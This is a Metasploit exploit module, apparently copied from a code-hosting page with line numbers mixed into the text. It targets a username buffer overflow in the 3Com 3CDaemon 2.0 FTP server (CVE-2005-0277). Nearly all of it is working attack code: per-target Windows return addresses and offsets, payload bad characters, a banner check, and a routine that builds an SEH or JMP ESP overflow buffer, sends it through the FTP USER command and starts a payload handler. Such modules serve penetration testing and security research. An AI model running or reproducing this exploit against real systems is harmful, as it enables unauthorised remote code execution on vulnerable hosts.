Path: blob/master/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',16'Description' => %q{17This module exploits a vulnerability in the 3Com 3CDaemon18FTP service. This package is being distributed from the 3Com19web site and is recommended in numerous support documents.20This module uses the USER command to trigger the overflow.21},22'Author' => [23'hdm', # Original author24'otr' # Windows XP SP325],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2005-0277'],29[ 'OSVDB', '12810'],30[ 'OSVDB', '12811'],31[ 'BID', '12155']32],33'DefaultOptions' => {34'EXITFUNC' => 'seh',35'target' => 036},37'Privileged' => false,38'Payload' => {39'Space' => 674,40'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",41'StackAdjustment' => -3500,42'Compat' =>43{44'ConnectionType' => "-find"45}46},47'Platform' => %w{win},48'Targets' => [49[50'Windows 2000 English', # Tested OK - hdm 11/24/200551{52'Platform' => 'win',53'Ret' => 0x75022ac4, # ws2help.dll54'Offset' => 229,55},56],57[58'Windows XP English SP0/SP1',59{60'Platform' => 'win',61'Ret' => 0x71aa32ad, # ws2help.dll62'Offset' => 229,63},64],65[66'Windows NT 4.0 SP4/SP5/SP6',67{68'Platform' => 'win',69'Ret' => 0x77681799, # ws2help.dll70'Offset' => 229,71},72],73[74'Windows 2000 Pro SP4 French',75{76'Platform' => 'win',77'Ret' => 0x775F29D0,78'Offset' => 229,79},80],81[82'Windows XP English SP3',83{84'Platform' => 'win',85'Ret' => 0x7CBD41FB, # 7CBD41FB JMP ESP shell32.data SP386# 'Ret' => 0x775C2C1F, # 775C2C1F JMP ESP shell32.data SP187'Offset' => 245,88},89],90],91'DisclosureDate' => '2005-01-04',92'Notes' => {93'Reliability' => UNKNOWN_RELIABILITY,94'Stability' => UNKNOWN_STABILITY,95'SideEffects' => UNKNOWN_SIDE_EFFECTS96}97)98)99end100101def check102connect103disconnect104if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)105return Exploit::CheckCode::Appears106end107108return Exploit::CheckCode::Safe109end110111def exploit112connect113114print_status("Trying target #{target.name}...")115116if (target == targets[4])117buf = rand_text_english(target['Offset'], payload_badchars)118buf << [ target['Ret'] ].pack('V') * 2119buf << payload.encoded120else121buf = rand_text_english(2048, payload_badchars)122seh = generate_seh_payload(target.ret)123buf[target['Offset'], seh.length] = seh124end125126send_cmd(['USER', buf], false)127128handler129disconnect130end131end132133134